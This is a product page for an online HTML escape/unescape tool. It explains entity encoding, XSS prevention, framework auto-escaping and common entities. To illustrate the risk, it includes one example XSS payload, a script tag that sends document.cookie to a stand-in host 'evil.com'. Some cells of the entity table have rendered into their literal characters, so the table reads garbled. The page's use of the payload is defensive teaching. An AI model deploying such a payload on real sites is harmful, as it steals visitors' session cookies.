What is HTML Escape Unescape?
HTML Escape Unescape — An HTML Escape Tool is a free tool that converts special characters (<, >, &, ", ') into HTML entities and decodes HTML entities back to their original characters.
Loading your tools...
Convert special HTML characters like <, >, &, double quotes, and apostrophes to safe HTML entities (< > &) for XSS prevention and code display — or decode HTML entities back to readable plain text for content migration and template debugging.
HTML Escape Unescape: Paste text containing HTML special characters to escape them into safe entity codes (< > &), or paste escaped HTML to decode it back to readable characters. Essential for displaying code snippets in web pages.
Loading Tool...
HTML Escape Unescape — An HTML Escape Tool is a free tool that converts special characters (<, >, &, ", ') into HTML entities and decodes HTML entities back to their original characters.
Paste raw HTML, code snippets, or user-generated content into the Escape panel to convert all special characters (<, >, &, quotes) into safe HTML entities.
Paste entity-encoded strings from APIs, databases, or email templates into the Unescape panel to decode them back into readable plain text.
Review the converted output to verify all angle brackets, ampersands, and quotation marks are properly encoded or decoded.
Copy the result with one click for use in HTML templates, CMS content fields, blog posts, or application code.
Preventing XSS attacks by escaping user-generated content before rendering in HTML pages and web applications
Displaying code snippets with angle brackets and ampersands safely inside blog posts, tutorials, and documentation
Decoding HTML entities from API responses, database exports, and RSS feeds during content migration workflows
Debugging double-encoding issues (&lt;) in CMS templates, email HTML, and server-rendered markup
Preparing escaped HTML strings for embedding in JSON payloads, XML feeds, and JavaScript template literals
HTML escaping (also called HTML encoding or entity encoding) converts characters with special meaning in HTML markup into their entity representations. The five core characters that must be escaped:
| Character | Named entity | Numeric (dec) | Numeric (hex) | Why escape |
|---|---|---|---|---|
< | < | < | < | Opens HTML tags |
> | > | > | > | Closes HTML tags |
& | & | & | & | Starts other entities |
" | " | " | " | Breaks attribute values |
' | ' (''' HTML5) | ' | ' | Breaks single-quoted attrs |
Without proper escaping, user content containing these characters can be interpreted as HTML tags or JavaScript, creating Cross-Site Scripting (XSS) vulnerabilities — #2 on the OWASP Top 10.
Imagine a comments form that doesn't escape input. An attacker submits:
<script>fetch('https://evil.com/steal?cookie=' + document.cookie)</script>When the comment renders unescaped, every visitor's browser runs the script, sending their session cookies to the attacker. With proper escaping, the same input renders harmlessly as visible text:
<script>fetch('https://evil.com/steal?cookie=' + document.cookie)</script>This single defense — escape all user content before rendering — prevents ~95% of XSS attacks.
Different contexts require different escape strategies — naive "just escape 5 chars" doesn't always work:
< > & (basic XSS protection)< > & " ' AND always quote the attributeJSON.stringify(), not HTML escape — different encoding neededMost modern frameworks auto-escape by default:
{variable}. dangerouslySetInnerHTML bypasses — only use with sanitized content.{{variable}} auto-escapes. v-html bypasses.{{variable}} auto-escapes. [innerHTML] sanitizes by default.{{variable}} auto-escapes in templates. {% autoescape off %} bypasses.<%= variable %> auto-escapes. raw() or .html_safe bypasses.{{ $variable }} auto-escapes. {!! $variable !!} bypasses.Don't bypass auto-escaping unless you've sanitized with a battle-tested library (DOMPurify on the client, Bleach in Python, sanitize-html in Node).
— non-breaking space (forces no line break)© — © copyright™ — ™ trademark® — ® registered… — … horizontal ellipsis— — — em dash– — – en dash“ ” — “curly quotes”« » — « » guillemets€ — € euro£ — £ pound sterling× — × multiplication sign÷ — ÷ division sign° — ° degreeµ — µ micro&lt; visible in output — content was escaped twice&ltdiv> won't render as a tag — strict parsers require semicolons©right; doesn't exist; use ©Most workflows at minimum escape `<`, `>`, `&`, double quotes, and apostrophes. Depending on context, additional characters may also be encoded using numeric entities.
If rendering still looks wrong after escaping, inspect whether content was escaped twice. Double-escaped text often appears with `&lt;` patterns.
Convert special characters to HTML entities and decode entities back to readable text.